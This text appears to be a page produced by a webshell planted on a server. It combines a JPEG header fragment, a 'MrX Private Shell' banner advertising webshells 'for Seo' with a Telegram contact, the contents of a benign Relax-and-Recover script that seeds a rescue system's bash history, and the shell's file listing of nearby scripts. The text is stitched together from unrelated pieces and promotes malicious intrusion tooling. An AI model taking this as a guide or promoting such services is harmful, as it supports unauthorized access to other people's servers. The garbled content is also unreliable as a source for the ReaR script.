����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#
# 130_create_dotfiles.sh
#
# Create some . dot files for Relax-and-Recover
#
# This file is part of Relax-and-Recover, licensed under the GNU General
# Public License. Refer to the included COPYING for full text of license.
# Create bash history file or append to an existing one:
Log "Creating or appending to $ROOTFS_DIR/$ROOT_HOME_DIR/.bash_history"
# Use get_path to check if nano and vi are available on the original system
# (and redirect its stdout to stderr to not get its stdout in .bash_history)
# because get_path is also used in build/GNU/Linux/390_copy_binaries_libraries.sh
# where nano and vi may get coiped via PROGS into the ReaR recovery system,
# cf. https://github.com/rear/rear/issues/3151#issuecomment-1941544530
# and see https://github.com/rear/rear/pull/1306 regarding nano
# and https://github.com/rear/rear/issues/1298 when vi is not available.
# Use the |--...--| ruler below so entries fit in a 80 characters line
# so that it looks OK even on a console with 80 characters per line.
# The ReaR recovery system bash prompt is: 'RESCUE $HOSTNAME:~ # '
# that has about 20 characters (depending on $HOSTNAME length)
# so about 60 characters are left to show bash history entries
# |------------------------------------------------------------|
{ echo ": # no more predefined ReaR entries in the bash history"
echo "systemctl start sshd.service # start SSH"
echo "ip -4 addr # IPv4 address"
echo "dhcpcd eth0 # start DHCP"
if get_path nano 1>&2 ; then
echo "nano /var/lib/rear/layout/diskrestore.sh # disk restore"
echo "nano /var/lib/rear/layout/disklayout.conf # disk layout"
fi
if get_path vi 1>&2 ; then
echo "vi /var/lib/rear/layout/diskrestore.sh # disk restore"
echo "vi /var/lib/rear/layout/disklayout.conf # disk layout"
fi
echo "less /var/log/rear/* # log file(s)"
echo "loadkeys -d # default keymap"
echo "rear recover # recover system"
echo ": # there are some predefined entries in the bash history"
} >> $ROOTFS_DIR/$ROOT_HOME_DIR/.bash_history
# Other dot files should be listed below:
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 005_create_symlinks.sh | File | 1.36 KB | 0644 |
|
| 090_create_lib_directories_and_symlinks.sh | File | 486 B | 0644 |
|
| 100_copy_as_is.sh | File | 11.61 KB | 0644 |
|
| 110_touch_empty_files.sh | File | 401 B | 0644 |
|
| 130_create_dotfiles.sh | File | 2.19 KB | 0644 |
|
| 150_adjust_permissions.sh | File | 213 B | 0644 |
|
| 390_copy_binaries_libraries.sh | File | 7.63 KB | 0644 |
|
| 400_copy_modules.sh | File | 17.66 KB | 0644 |
|
| 420_copy_firmware_files.sh | File | 2.92 KB | 0644 |
|
| 450_symlink_mingetty.sh | File | 266 B | 0644 |
|
| 600_verify_and_adjust_udev.sh | File | 4.11 KB | 0644 |
|
| 610_verify_and_adjust_udev_systemd.sh | File | 1.53 KB | 0644 |
|
| 620_verify_os_release_file.sh | File | 453 B | 0644 |
|
| 630_simplify_systemd_reboot_halt_poweroff_shutdown.sh | File | 3.06 KB | 0644 |
|
| 630_verify_resolv_conf_file.sh | File | 6 KB | 0644 |
|
| 640_verify_lvm_conf.sh | File | 1.18 KB | 0644 |
|